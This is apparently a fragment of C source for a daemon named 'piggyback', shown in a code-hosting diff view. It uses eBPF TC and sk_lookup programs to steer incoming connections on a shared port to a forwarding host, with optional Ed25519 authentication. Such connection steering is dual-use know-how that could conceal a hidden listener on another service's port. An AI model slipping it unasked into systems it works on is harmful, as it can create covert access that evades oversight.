||||||
|
|
||||||
|
inet_pton(AF_INET, SERVER_IP, server_ip_bytes);
|
||||||
|
|
||||||
|
signal(SIGINT, on_signal);
|
||||||
|
signal(SIGTERM, on_signal);
|
||||||
|
signal(SIGPIPE, SIG_IGN);
|
||||||
|
|
||||||
|
if (strlen(IFACE) > 0) {
|
||||||
|
strncpy(iface_name, IFACE, sizeof(iface_name)-1);
|
||||||
|
} else {
|
||||||
|
if (get_default_iface(iface_name, sizeof(iface_name)) != 0) {
|
||||||
|
log_err("could not detect default interface — set IFACE in source");
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
log_info("auto-detected interface: %s", iface_name);
|
||||||
|
}
|
||||||
|
|
||||||
|
ifindex = if_nametoindex(iface_name);
|
||||||
|
if (!ifindex) { log_err("interface '%s' not found", iface_name); return 1; }
|
||||||
|
|
||||||
|
if (AUTH_ENABLED)
|
||||||
|
log_info("Ed25519 auth enabled");
|
||||||
|
else
|
||||||
|
log_info("WARNING: AUTH_ENABLED=0 — accepting without signature check");
|
||||||
|
|
||||||
|
// ── SO_REUSEPORT accept socket ────────────────────────────────────────────
|
||||||
|
accept_fd = socket(AF_INET6, SOCK_STREAM, 0);
|
||||||
|
if (accept_fd < 0) accept_fd = socket(AF_INET, SOCK_STREAM, 0);
|
||||||
|
if (accept_fd < 0) { log_err("socket: %s", strerror(errno)); return 1; }
|
||||||
|
|
||||||
|
int yes = 1;
|
||||||
|
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEADDR, &yes, sizeof(yes));
|
||||||
|
setsockopt(accept_fd, SOL_SOCKET, SO_REUSEPORT, &yes, sizeof(yes));
|
||||||
|
|
||||||
|
struct sockaddr_in6 laddr = {
|
||||||
|
.sin6_family = AF_INET6,
|
||||||
|
.sin6_port = htons(LISTEN_PORT),
|
||||||
|
.sin6_addr = IN6ADDR_ANY_INIT,
|
||||||
|
};
|
||||||
|
if (bind(accept_fd, (struct sockaddr *)&laddr, sizeof(laddr)) < 0) {
|
||||||
|
struct sockaddr_in la4 = {
|
||||||
|
.sin_family = AF_INET,
|
||||||
|
.sin_port = htons(LISTEN_PORT),
|
||||||
|
.sin_addr.s_addr = INADDR_ANY,
|
||||||
|
};
|
||||||
|
if (bind(accept_fd, (struct sockaddr *)&la4, sizeof(la4)) < 0) {
|
||||||
|
log_err("bind port %d: %s", LISTEN_PORT, strerror(errno));
|
||||||
|
return 1;
|
||||||
|
}
|
||||||
|
}
|
||||||
|
if (listen(accept_fd, 64) < 0) { log_err("listen: %s", strerror(errno)); return 1; }
|
||||||
|
|
||||||
|
// ── Load eBPF ─────────────────────────────────────────────────────────────
|
||||||
|
obj = bpf_object__open("piggyback.bpf.o");
|
||||||
|
if (!obj) { log_err("bpf_object__open failed"); return 1; }
|
||||||
|
if (bpf_object__load(obj)) { log_err("bpf_object__load failed"); return 1; }
|
||||||
|
|
||||||
|
int sock_map_fd = bpf_object__find_map_fd_by_name(obj, "daemon_sock");
|
||||||
|
if (sock_map_fd >= 0) {
|
||||||
|
uint32_t key = 0;
|
||||||
|
uint32_t val = (uint32_t)accept_fd;
|
||||||
|
bpf_map_update_elem(sock_map_fd, &key, &val, BPF_ANY);
|
||||||
|
}
|
||||||
|
|
||||||
|
struct bpf_program *tc_prog = bpf_object__find_program_by_name(obj, "piggyback_ingress");
|
||||||
|
if (!tc_prog) { log_err("TC program not found"); return 1; }
|
||||||
|
if (attach_tc(tc_prog) < 0) return 1;
|
||||||
|
|
||||||
|
struct bpf_program *sk_prog = bpf_object__find_program_by_name(obj, "piggyback_lookup");
|
||||||
|
if (sk_prog && attach_sklookup(sk_prog) < 0)
|
||||||
|
log_info("sk_lookup attach failed — SYN-level steering disabled");
|
||||||
|
|
||||||
|
int rb_fd = bpf_object__find_map_fd_by_name(obj, "events");
|
||||||
|
struct ring_buffer *rb = ring_buffer__new(rb_fd, handle_event, NULL, NULL);
|
||||||
|
if (!rb) { log_err("ring_buffer__new failed"); return 1; }
|
||||||
|
|
||||||
|
log_info("piggyback running on %s port %d → %s:%d",
|
||||||
|
iface_name, LISTEN_PORT, FWD_HOST, FWD_PORT);
|
||||||
|
|
||||||
|
while (running)
|
||||||
|
ring_buffer__poll(rb, 100);
|
||||||
|
|
||||||
|
log_info("shutting down...");
|
||||||
|
dump_stats();
|
||||||
|
detach_tc();
|
||||||
|
ring_buffer__free(rb);
|
||||||
|
bpf_object__close(obj);
|
||||||
|
close(accept_fd);
|
||||||
|
return 0;
|
||||||
|
}
|
||||||
Loading…
Reference in New Issue
Block a user